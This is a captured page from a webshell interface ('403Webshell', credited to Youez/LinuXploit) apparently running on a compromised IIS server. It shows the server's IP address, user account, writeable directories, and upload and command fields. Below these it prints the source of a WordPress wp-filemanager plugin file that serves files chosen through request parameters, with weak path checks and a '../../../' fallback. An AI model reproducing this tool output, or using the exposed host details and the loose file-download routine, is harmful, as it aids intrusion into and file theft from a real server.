403Webshell
Server IP : 195.130.67.5  /  Your IP : 216.73.217.154
Web Server : Microsoft-IIS/10.0
System : Windows NT WEBSERVER1 10.0 build 17763 (Windows Server 2016) i586
User : IUSR ( 0)
PHP Version : 7.4.19
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /Old Sites/repository/wp-content/plugins/wp-filemanager/incl/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /Old Sites/repository/wp-content/plugins/wp-filemanager/incl/libfile.php
<?php 
ini_set('display_errors', "On");
//echo defined('WP_CONTENT_DIR');
//if (defined(WP_CONTENT_DIR))
//{
//	include_once(WP_CONTENT_DIR . "/plugins/wp-filemanager/fm.php");
//}
if (!@include_once("auth.inc.php"))
 include_once("auth.inc.php");
include("../conf/config.inc.php");
include("./functions.inc.php");
include("../lang/$language.inc.php");
//echo "Download : " . $AllowDownload; 
//if (function_exists('get_option'))
//{
//	echo "Exists";
//}
//else
//{
//	echo "Sorry";
//}
if (isset($_GET['action']) && $_GET['action'] == "download")
{
    session_cache_limiter("public, post-check=50");
    header("Cache-Control: private");
}
if (isset($session_save_path)) session_save_path($session_save_path);

if (isset($_GET['path'])) $wp_fileman_path = validate_path($_GET['path']);
if (!isset($wp_fileman_path)) $wp_fileman_path = FALSE;
if ($wp_fileman_path == "./" || $wp_fileman_path == ".\\" || $wp_fileman_path == "/" || $wp_fileman_path == "\\") $wp_fileman_path = FALSE;
if (isset($_GET['filename'])) $filename = basename(stripslashes($_GET['filename']));
/*echo "<pre>";
print_r($_GET); 
echo "</pre>";*/
if ($AllowDownload || $AllowView)
{
//echo "Download Allowed";
/* if (is_file("../../../" . $home_directory . $wp_fileman_path.$filename))
 {
	echo "File Found";
 }
 else
 {
	echo "Path : " . $home_directory . " & ".$wp_fileman_path . " & " .$filename;
 }
 */
 if (isset($_GET['filename']) && isset($_GET['action']) && is_file($home_directory.$wp_fileman_path.$filename) || is_file("../../../".$home_directory.$wp_fileman_path.$filename))
 {
// echo "file found";
	if (is_file($home_directory.$wp_fileman_path.$filename) && !strstr($home_directory, "./") && !strstr($home_directory, ".\\"))
   $fullpath = $home_directory.$wp_fileman_path.$filename;
  else if (is_file("../../../".$home_directory.$wp_fileman_path.$filename))
   $fullpath = "../../../".$home_directory.$wp_fileman_path.$filename;
//echo $fullpath;
  if (!$AllowDownload && $AllowView && !is_viewable_file($filename))
  {
   print "<font color='#CC0000'>$StrAccessDenied</font>";
   exit();
  }
  header("Content-Type: ".get_mimetype($filename));
  header("Content-Length: ".filesize($fullpath));
  if ($_GET['action'] == "download");
   header("Content-Disposition: attachment; filename=$filename");
  readfile($fullpath);
 }
 else
  print "<font color='#CC0000'>$StrDownloadFail</font>";
}
?>

Youez - 2016 - github.com/yon3zu
LinuXploit